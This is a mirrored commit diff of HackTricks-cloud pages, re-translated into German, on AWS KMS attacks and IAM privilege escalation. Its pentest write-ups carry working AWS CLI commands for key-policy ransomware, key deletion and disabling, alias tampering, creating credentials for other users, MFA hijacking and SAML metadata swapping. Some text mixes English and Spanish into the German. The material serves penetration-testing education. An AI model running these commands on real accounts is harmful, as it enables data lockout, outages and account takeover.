mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+26
-26
@@ -12,13 +12,13 @@ Für weitere Informationen siehe:
|
||||
|
||||
### Verschlüsseln/Entschlüsseln von Informationen
|
||||
|
||||
`fileb://` und `file://` sind URI-Schemata, die in AWS CLI-Befehlen verwendet werden, um den Pfad zu lokalen Dateien anzugeben:
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
|
||||
- `fileb://:` liest die Datei im Binärmodus und wird üblicherweise für Nicht-Textdateien verwendet.
|
||||
- `file://:` liest die Datei im Textmodus und wird typischerweise für einfache Textdateien, Skripte oder JSON verwendet, die keine speziellen Kodierungsanforderungen haben.
|
||||
- `fileb://:` Liest die Datei im Binärmodus, wird häufig für Nicht-Text-Dateien verwendet.
|
||||
- `file://:` Liest die Datei im Textmodus, typischerweise verwendet für reine Textdateien, Skripte oder JSON, das keine spezielle Kodierung benötigt.
|
||||
|
||||
> [!TIP]
|
||||
> Beachte, dass wenn du Daten innerhalb einer Datei entschlüsseln möchtest, die Datei die Binärdaten enthalten muss, nicht base64-kodierte Daten. (fileb://)
|
||||
> Beachte, dass, wenn du Daten innerhalb einer Datei entschlüsseln willst, die Datei die binären Daten enthalten muss, nicht base64-kodierte Daten. (fileb://)
|
||||
|
||||
- Verwendung eines **symmetrischen** Schlüssels
|
||||
```bash
|
||||
@@ -60,14 +60,14 @@ aws kms decrypt \
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS policy von Schlüsseln ändern und **seinem Account Zugriff darauf gewähren**, wodurch der Zugriff für den rechtmäßigen Account entfernt wird.
|
||||
Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS-Policy von Schlüsseln modifizieren und seinem Account Zugriff darauf gewähren, wodurch der dem legitimen Konto gewährte Zugriff entfernt wird.
|
||||
|
||||
Dann können die Benutzer des rechtmäßigen Accounts nicht mehr auf Informationen eines beliebigen Dienstes zugreifen, die mit diesen Schlüsseln verschlüsselt wurden, wodurch ein einfaches, aber effektives ransomware gegen den Account entsteht.
|
||||
Die Nutzer des legitimen Kontos können dann auf keine Informationen von Diensten zugreifen, die mit diesen Schlüsseln verschlüsselt wurden, wodurch ein einfacher, aber effektiver Ransomware-Angriff auf das Konto entsteht.
|
||||
|
||||
> [!WARNING]
|
||||
> Beachte, dass **AWS managed keys nicht betroffen sind** von diesem Angriff; betroffen sind nur **Customer managed keys**.
|
||||
> Beachte, dass **AWS managed keys aren't affected**; betroffen sind nur **Customer managed keys**.
|
||||
|
||||
> Beachte außerdem, dass der Parameter **`--bypass-policy-lockout-safety-check`** verwendet werden muss (das Fehlen dieser Option in der Webkonsole macht diesen Angriff nur über die CLI möglich).
|
||||
> Beachte außerdem, dass der Parameter **`--bypass-policy-lockout-safety-check`** verwendet werden muss (das Fehlen dieser Option in der Web-Konsole macht diesen Angriff nur über die CLI möglich).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
@@ -92,28 +92,28 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Beachte, dass wenn du diese Policy änderst und nur einem externen Account Zugriff gewährst, und dann von diesem externen Account versuchst, eine neue Policy zu setzen, um **den Zugriff wieder dem ursprünglichen Account zu gewähren, wirst du das nicht können, da die Put Polocy-Aktion nicht von einem Cross-Account ausgeführt werden kann**.
|
||||
> Beachte, dass wenn du diese Richtlinie änderst und nur einem externen Konto Zugriff gewährst, und dann von diesem externen Konto aus versuchst, eine neue Richtlinie zu setzen, um **den Zugriff an das ursprüngliche Konto zurückzugeben, wirst du nicht in der Lage sein, da die Put Polocy action nicht von einem cross account ausgeführt werden kann**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generische KMS Ransomware
|
||||
### Generic KMS Ransomware
|
||||
|
||||
Es gibt eine weitere Möglichkeit, eine globale KMS Ransomware durchzuführen, die die folgenden Schritte umfasst:
|
||||
Es gibt eine andere Möglichkeit, eine globale KMS Ransomware durchzuführen, die die folgenden Schritte umfasst:
|
||||
|
||||
- Erstelle einen neuen **Schlüssel mit Schlüsselmaterial**, das vom Angreifer importiert wurde
|
||||
- **Ältere Daten erneut mit der neuen Version verschlüsseln**, die zuvor mit der vorherigen Version verschlüsselt wurden
|
||||
- **KMS-Schlüssel löschen**
|
||||
- Nun könnte nur noch der Angreifer, der das ursprüngliche Schlüsselmaterial besitzt, in der Lage sein, die verschlüsselten Daten zu entschlüsseln
|
||||
- Erstelle einen neuen **key with a key material**, das vom Angreifer importiert wurde
|
||||
- **Re-encrypt older data** des Opfers, die mit der vorherigen Version verschlüsselt wurden, mit der neuen
|
||||
- **Delete the KMS key**
|
||||
- Nun könnte nur noch der Angreifer, der das original key material besitzt, die verschlüsselten Daten decrypten
|
||||
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
Mit der Berechtigung `kms:DeleteImportedKeyMaterial` kann ein Akteur das importierte Schlüsselmaterial von CMKs mit `Origin=EXTERNAL` (CMKs, die ihr Schlüsselmaterial importiert haben) löschen, wodurch diese nicht mehr in der Lage sind, Daten zu entschlüsseln. Diese Aktion ist destruktiv und irreversibel, es sei denn, kompatibles Material wird erneut importiert, wodurch ein Angreifer effektiv einen ransomware-ähnlichen Datenverlust verursachen kann, indem verschlüsselte Informationen dauerhaft unzugänglich gemacht werden.
|
||||
Mit der Berechtigung `kms:DeleteImportedKeyMaterial` kann ein Akteur das importierte key material von CMKs mit `Origin=EXTERNAL` (CMKs, die ihr key material importiert haben) löschen, wodurch diese nicht mehr in der Lage wären, Daten zu decrypten. Diese Aktion ist destruktiv und irreversibel, es sei denn, kompatibles Material wird erneut importiert. Dadurch kann ein Angreifer effektiv einen ransomware-ähnlichen Datenverlust verursachen, indem er verschlüsselte Informationen dauerhaft unzugänglich macht.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Schlüssel zerstören
|
||||
|
||||
Das Zerstören von Schlüsseln kann zu einem DoS führen.
|
||||
Durch das Zerstören von Schlüsseln ist es möglich, einen DoS durchzuführen.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Beachte, dass AWS jetzt **verhindert, dass die vorherigen Aktionen aus einem Cross-Account ausgeführt werden:**
|
||||
> Beachte, dass AWS nun **verhindert, dass die vorherigen Aktionen aus einem anderen Account ausgeführt werden:**
|
||||
|
||||
### Alias ändern oder löschen
|
||||
Dieser Angriff löscht oder leitet AWS KMS Aliase um, wodurch die Schlüsselauflösung unterbrochen wird und sofortige Fehler in allen Diensten auftreten, die auf diese Aliase angewiesen sind — was zu einem denial-of-service führt. Mit Berechtigungen wie `kms:DeleteAlias` oder `kms:UpdateAlias` kann ein Angreifer Aliase entfernen oder umleiten und kryptografische Operationen stören (z. B. encrypt, describe). Jeder Dienst, der das Alias anstatt der key ID referenziert, kann ausfallen, bis das Alias wiederhergestellt oder korrekt neu zugeordnet ist.
|
||||
Dieser Angriff löscht oder leitet AWS KMS-Aliase um, wodurch die Schlüsselauflösung unterbrochen wird und sofortige Ausfälle in allen Diensten verursacht werden, die diese Aliase verwenden, was zu einem denial-of-service führt. Mit Berechtigungen wie `kms:DeleteAlias` oder `kms:UpdateAlias` kann ein Angreifer Aliase entfernen oder umleiten und kryptographische Operationen stören (z. B. encrypt, describe). Jeder Dienst, der den Alias statt der key ID referenziert, kann fehlschlagen, bis der Alias wiederhergestellt oder korrekt neu zugewiesen ist.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
@@ -135,7 +135,7 @@ aws kms update-alias \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Abbrechen der Schlüssel-Löschung
|
||||
Mit Berechtigungen wie `kms:CancelKeyDeletion` und `kms:EnableKey` kann ein Angreifer die geplante Löschung eines AWS KMS customer master key abbrechen und später wieder aktivieren. Dadurch wird der Schlüssel wiederhergestellt (zunächst im Disabled state) und seine Fähigkeit, zuvor geschützte Daten zu entschlüsseln, wiederhergestellt, wodurch Datenexfiltration möglich wird.
|
||||
Mit Berechtigungen wie `kms:CancelKeyDeletion` und `kms:EnableKey` kann ein Angreifer die geplante Löschung eines AWS KMS customer master key abbrechen und ihn später wieder aktivieren. Dadurch wird der Schlüssel (anfangs im deaktivierten Zustand) wiederhergestellt und kann wieder zuvor geschützte Daten entschlüsseln, wodurch exfiltration ermöglicht wird.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
@@ -146,13 +146,13 @@ aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Schlüssel deaktivieren
|
||||
Mit der Berechtigung `kms:DisableKey` kann ein Akteur einen AWS KMS Customer Master Key (CMK) deaktivieren, wodurch dessen Verwendung für Verschlüsselung oder Entschlüsselung verhindert wird. Das unterbricht den Zugriff für alle Dienste, die von diesem CMK abhängen, und kann sofortige Störungen oder einen denial-of-service verursachen, bis der Schlüssel wieder aktiviert wird.
|
||||
Mit der Berechtigung kms:DisableKey kann ein Akteur einen AWS KMS customer master key deaktivieren, sodass er nicht mehr für Verschlüsselung oder Entschlüsselung verwendet werden kann. Dies unterbricht den Zugriff für alle Dienste, die von diesem CMK abhängen, und kann sofortige Störungen oder eine Dienstverweigerung verursachen, bis der Schlüssel wieder aktiviert wird.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derive Shared Secret
|
||||
Mit der `kms:DeriveSharedSecret`-Berechtigung kann ein Akteur einen in KMS gespeicherten private key sowie einen vom Benutzer bereitgestellten public key verwenden, um ein ECDH shared secret zu berechnen.
|
||||
### Gemeinsames Secret ableiten
|
||||
Mit der Berechtigung `kms:DeriveSharedSecret` kann ein Akteur einen bei KMS verwahrten privaten Schlüssel zusammen mit einem vom Benutzer bereitgestellten öffentlichen Schlüssel verwenden, um ein ECDH Shared Secret zu berechnen.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
@@ -160,7 +160,7 @@ aws kms derive-shared-secret \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Mit der Berechtigung `kms:Sign` kann ein Akteur einen KMS-stored CMK verwenden, um Daten kryptografisch zu signieren, ohne den private key preiszugeben, und gültige Signaturen zu erzeugen, die impersonation ermöglichen oder bösartige Aktionen autorisieren.
|
||||
Mit der Berechtigung `kms:Sign` kann ein Akteur einen in KMS gespeicherten CMK verwenden, um Daten kryptografisch zu signieren, ohne den privaten Schlüssel preiszugeben, und gültige Signaturen zu erzeugen, die impersonation ermöglichen oder bösartige Aktionen autorisieren können.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
@@ -168,8 +168,8 @@ aws kms sign \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS mit Custom Key Stores
|
||||
Mit Berechtigungen wie `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` oder `kms:UpdateCustomKeyStore` kann ein Akteur einen AWS KMS Custom Key Store (CKS) ändern, trennen oder löschen, wodurch dessen Master-Keys nicht mehr funktionsfähig werden. Das bricht Verschlüsselungs-, Entschlüsselungs- und Signaturvorgänge für alle Dienste, die auf diesen Keys angewiesen sind, und kann zu einem sofortigen denial-of-service führen. Daher ist es entscheidend, diese Berechtigungen zu beschränken und zu überwachen.
|
||||
### DoS with Custom Key Stores
|
||||
Mit Berechtigungen wie `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` oder `kms:UpdateCustomKeyStore` kann ein Akteur ein AWS KMS Custom Key Store (CKS) ändern, trennen oder löschen, wodurch dessen Master-Schlüssel unbrauchbar werden. Das unterbricht Verschlüsselungs-, Entschlüsselungs- und Signiervorgänge für alle Dienste, die auf diesen Schlüsseln basieren, und kann eine sofortige denial-of-service verursachen. Daher ist es kritisch, diese Berechtigungen einzuschränken und zu überwachen.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
|
||||
+58
-40
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Weitere Informationen zu IAM:
|
||||
Für weitere Informationen zu IAM siehe:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,40 +12,59 @@ Weitere Informationen zu IAM:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht die Notwendigkeit der Berechtigung `iam:SetDefaultPolicyVersion` durch Verwendung des Flags `--set-as-default`. Dadurch können benutzerdefinierte Berechtigungen definiert werden.
|
||||
Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht dabei die Notwendigkeit der Berechtigung `iam:SetDefaultPolicyVersion`, indem das Flag `--set-as-default` verwendet wird. Dadurch können benutzerdefinierte Berechtigungen definiert werden.
|
||||
|
||||
**Exploit-Befehl:**
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Auswirkung:** Eskaliert Privilegien direkt, indem beliebige Aktionen auf beliebigen Ressourcen erlaubt werden.
|
||||
**Auswirkung:** Eskaliert Privilegien direkt, indem beliebige Aktionen für beliebige Ressourcen erlaubt werden.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Ermöglicht das Ändern der Standardversion einer IAM-Policy auf eine andere vorhandene Version, was Privilegien eskalieren kann, wenn die neue Version mehr Berechtigungen hat.
|
||||
Ermöglicht das Ändern der Standardversion einer IAM policy auf eine andere vorhandene Version und kann zu einer Eskalation von Berechtigungen führen, wenn die neue Version mehr Berechtigungen gewährt.
|
||||
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Auswirkung:** Indirekte privilege escalation durch das Ermöglichen zusätzlicher Berechtigungen.
|
||||
**Auswirkung:** Indirekte Privilegieneskalation durch das Ermöglichen zusätzlicher Berechtigungen.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
Ermöglicht das Erstellen einer access key ID und eines secret access key für einen anderen Benutzer, was zu einer möglichen privilege escalation führen kann.
|
||||
Ermöglicht das Erstellen einer Access Key ID und eines Secret Access Key für einen anderen Benutzer, was zu einer möglichen Privilegieneskalation führen kann.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Auswirkung:** Direkte Privilegieneskalation durch das Übernehmen der erweiterten Berechtigungen eines anderen Benutzers.
|
||||
**Impact:** Direkte Privilegieneskalation durch die Übernahme der erweiterten Berechtigungen eines anderen Benutzers.
|
||||
|
||||
Beachten Sie, dass für einen Benutzer maximal 2 access keys erstellt werden können. Wenn ein Benutzer bereits 2 access keys hat, benötigen Sie die Berechtigung `iam:DeleteAccessKey`, um einen davon zu löschen und einen neuen zu erstellen:
|
||||
```bash
|
||||
aws iam delete-access-key --uaccess-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
Wenn du ein neues virtuelles MFA-Gerät erstellen und es bei einem anderen Benutzer aktivieren kannst, kannst du effektiv dein eigenes MFA für diesen Benutzer einrichten und dann eine MFA-gestützte Sitzung für dessen Anmeldedaten anfordern.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
# Create a virtual MFA device (this returns the serial and the base32 seed)
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
|
||||
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Auswirkung:** Direkte Privilegieneskalation durch Übernahme der MFA-Registrierung eines Benutzers (und anschließende Nutzung seiner Berechtigungen).
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Erlaubt das Erstellen oder Aktualisieren eines Login-Profils, einschließlich dem Festlegen von Passwörtern für die Anmeldung an der AWS Console, was zu direkter Privilegieneskalation führt.
|
||||
Erlaubt das Erstellen oder Aktualisieren eines Login-Profils, einschließlich des Setzens von Passwörtern für die AWS Console-Anmeldung, was zu direkter Privilegieneskalation führt.
|
||||
|
||||
**Exploit for Creation:**
|
||||
**Exploit zur Erstellung:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
@@ -55,23 +74,23 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Auswirkung:** Direkte Privilegieneskalation durch Anmeldung als "any"-Benutzer.
|
||||
**Auswirkung:** Direkte Privilegieneskalation durch Anmeldung als "beliebiger" Benutzer.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Ermöglicht das Aktivieren eines deaktivierten Access Key, was zu unautorisiertem Zugriff führen kann, falls der Angreifer über den deaktivierten Access Key verfügt.
|
||||
Ermöglicht das Aktivieren eines deaktivierten access key, was möglicherweise zu unautorisiertem Zugriff führen kann, wenn der Angreifer den deaktivierten Key besitzt.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Auswirkung:** Direkte Privilegieneskalation durch Reaktivierung von Access Keys.
|
||||
**Auswirkung:** Direkte Privilegieneskalation durch Reaktivierung von Zugangsschlüsseln.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Ermöglicht das Erstellen oder Zurücksetzen von Anmeldeinformationen für bestimmte AWS-Services (z. B. CodeCommit, Amazon Keyspaces), wobei die Berechtigungen des zugehörigen Benutzers übernommen werden.
|
||||
|
||||
**Exploit für Erstellung:**
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
@@ -79,13 +98,13 @@ aws iam create-service-specific-credential --user-name <username> --service-name
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Auswirkung:** Direkter privilege escalation innerhalb der Service-Berechtigungen des Benutzers.
|
||||
**Auswirkung:** Direkte privilege escalation innerhalb der Service-Berechtigungen des Benutzers.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Ermöglicht das Anhängen von Policies an Benutzer oder Gruppen und führt so zu direkter privilege escalation, indem die Berechtigungen der angehängten Policy vererbt werden.
|
||||
Ermöglicht das Anhängen von Policies an Benutzer oder Gruppen, was zu einer direkten privilege escalation führt, da die Berechtigungen der angehängten Policy übernommen werden.
|
||||
|
||||
**Exploit for User:**
|
||||
**Exploit für Benutzer:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -93,13 +112,13 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Auswirkung:** Direkte privilege escalation auf alles, was die Richtlinie gewährt.
|
||||
**Auswirkung:** Direkte Privilegieneskalation auf alles, was die Richtlinie gewährt.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Erlaubt das Anhängen oder Hinzufügen von Richtlinien an Rollen, Benutzer oder Gruppen und ermöglicht damit direkte privilege escalation durch Gewährung zusätzlicher Berechtigungen.
|
||||
Ermöglicht das Anhängen oder Hinzufügen von Richtlinien an Rollen, Benutzer oder Gruppen und erlaubt so eine direkte Privilegieneskalation durch Gewährung zusätzlicher Berechtigungen.
|
||||
|
||||
**Exploit for Role:**
|
||||
**Exploit für Rolle:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -114,7 +133,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
|
||||
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
```
|
||||
Sie können eine Richtlinie wie folgt verwenden:
|
||||
Du kannst eine Richtlinie wie diese verwenden:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -131,24 +150,24 @@ Sie können eine Richtlinie wie folgt verwenden:
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Ermöglicht, sich selbst zu einer IAM-Gruppe hinzuzufügen, wodurch Privilegien eskaliert werden, indem man die Berechtigungen der Gruppe erbt.
|
||||
Ermöglicht, sich selbst zu einer IAM-Gruppe hinzuzufügen und dadurch Privilegien zu eskalieren, indem man die Berechtigungen der Gruppe übernimmt.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Impact:** Direkte Privilegieneskalation auf die Ebene der Berechtigungen der Gruppe.
|
||||
**Impact:** Direkte Privilegieneskalation auf das Niveau der Berechtigungen der Gruppe.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Ermöglicht das Ändern des assume role policy-Dokuments einer Rolle, wodurch das Übernehmen der Rolle und ihrer zugehörigen Berechtigungen ermöglicht wird.
|
||||
Ermöglicht die Änderung des AssumeRole-Policy-Dokuments einer Rolle, wodurch das Annehmen der Rolle und ihrer zugehörigen Berechtigungen ermöglicht wird.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Wenn die policy wie folgt aussieht und dem Benutzer die Berechtigung gibt, die Rolle zu übernehmen:
|
||||
Wenn die Richtlinie wie folgt aussieht, die dem Benutzer die Berechtigung gibt, die Rolle anzunehmen:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -163,38 +182,38 @@ Wenn die policy wie folgt aussieht und dem Benutzer die Berechtigung gibt, die R
|
||||
]
|
||||
}
|
||||
```
|
||||
**Auswirkung:** Direkte Privilegieneskalation durch das Übernehmen der Berechtigungen beliebiger Rollen.
|
||||
**Impact:** Direkte Privilegieneskalation durch das Annehmen der Berechtigungen beliebiger Rollen.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Ermöglicht das Hochladen eines SSH-Public-Keys zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu potenzieller indirekter Privilegieneskalation führen kann.
|
||||
Ermöglicht das Hochladen eines SSH-Public-Keys zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu einer möglichen indirekten Privilegieneskalation führen kann.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**Exploit für MFA-Deaktivierung:**
|
||||
**Exploit für MFA Deaktivierung:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Auswirkung:** Indirect privilege escalation durch das Aktivieren des CodeCommit-Zugriffs oder das Deaktivieren des MFA-Schutzes.
|
||||
**Auswirkung:** Indirekte Privilegieneskalation durch Aktivierung des CodeCommit-Zugriffs oder Deaktivierung des MFA-Schutzes.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Ermöglicht die Resynchronisierung eines MFA-Geräts, was potenziell zu indirect privilege escalation führen kann, indem der MFA-Schutz manipuliert wird.
|
||||
Ermöglicht die Resynchronisation eines MFA-Geräts, was potenziell zu einer indirekten Privilegieneskalation führen kann, indem der MFA-Schutz manipuliert wird.
|
||||
|
||||
**Bash-Befehl:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impact:** Indirekte Privilegieneskalation durch Hinzufügen oder Manipulation von MFA-Geräten.
|
||||
**Impact:** Indirekte Privilegieneskalation durch Hinzufügen oder Manipulieren von MFA-Geräten.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Mit diesen Berechtigungen kannst du **die XML metadata der SAML connection ändern**. Danach könntest du die **SAML federation** missbrauchen, um dich mit jeder **role, die ihr vertraut**, zu **login**.
|
||||
Mit diesen Berechtigungen können Sie die **XML-Metadaten der SAML-Verbindung ändern**. Anschließend könnten Sie die **SAML federation** missbrauchen, um sich mit jeder **role**, die ihr vertraut, einzuloggen.
|
||||
|
||||
Beachte, dass dadurch **legit users won't be able to login**. Allerdings könntest du das XML bekommen, dein eigenes einsetzen, dich **login** und die vorherige Konfiguration wiederherstellen.
|
||||
Beachten Sie, dass dadurch **legitime Benutzer sich nicht einloggen können**. Sie können jedoch die XML erhalten, Ihre eigene einsetzen, sich einloggen und die vorherige Konfiguration wiederherstellen.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -211,11 +230,10 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: Ein Tool, das in der Lage ist, die SAML-Metadaten zu erzeugen und sich mit einer angegebenen Rolle anzumelden
|
||||
|
||||
> TODO: Ein Tool, das SAML-Metadaten erzeugen und sich mit einer angegebenen Rolle anmelden kann
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Unsicher) Wenn ein Angreifer diese **Berechtigungen** hat, könnte er einen neuen **Thumbprint** hinzufügen, um sich in alle Rollen anzumelden, die dem Provider vertrauen.
|
||||
(Unsicher, ob das zutrifft) Wenn ein Angreifer diese **Berechtigungen** hat, könnte er einen neuen **Thumbprint** hinzufügen, um sich in allen Rollen anmelden zu können, die dem Provider vertrauen.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,7 +244,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Diese Berechtigung erlaubt es einem Angreifer, die permissions boundary eines user zu aktualisieren und dadurch möglicherweise seine Privilegien zu eskalieren, indem er Aktionen durchführt, die normalerweise durch seine bestehenden Berechtigungen eingeschränkt sind.
|
||||
Diese Berechtigung erlaubt einem Angreifer, die permissions boundary eines Benutzers zu aktualisieren und dadurch möglicherweise seine Privilegien zu eskalieren, indem er Aktionen ausführt, die normalerweise durch seine bestehenden Berechtigungen eingeschränkt sind.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -249,13 +267,13 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Ein Akteur mit iam:PutRolePermissionsBoundary kann eine Berechtigungsgrenze für eine bestehende Rolle setzen. Das Risiko entsteht, wenn jemand mit dieser Berechtigung die Grenze einer Rolle ändert: Er kann Operationen unangemessen einschränken (was zu Dienstunterbrechungen führt) oder, wenn er eine freizügige Grenze anfügt, die Möglichkeiten der Rolle effektiv erweitern und so Privilegien eskalieren.
|
||||
Ein Akteur mit iam:PutRolePermissionsBoundary kann eine Permissions Boundary für eine vorhandene Rolle setzen. Das Risiko entsteht, wenn jemand mit dieser Berechtigung die Boundary einer Rolle ändert: er kann Operationen unangemessen einschränken (was zu Dienstunterbrechungen führen kann) oder, wenn er eine zu großzügige Boundary anbringt, effektiv die Möglichkeiten der Rolle erweitern und somit Privilegien eskalieren.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
## Quellen
|
||||
## Referenzen
|
||||
|
||||
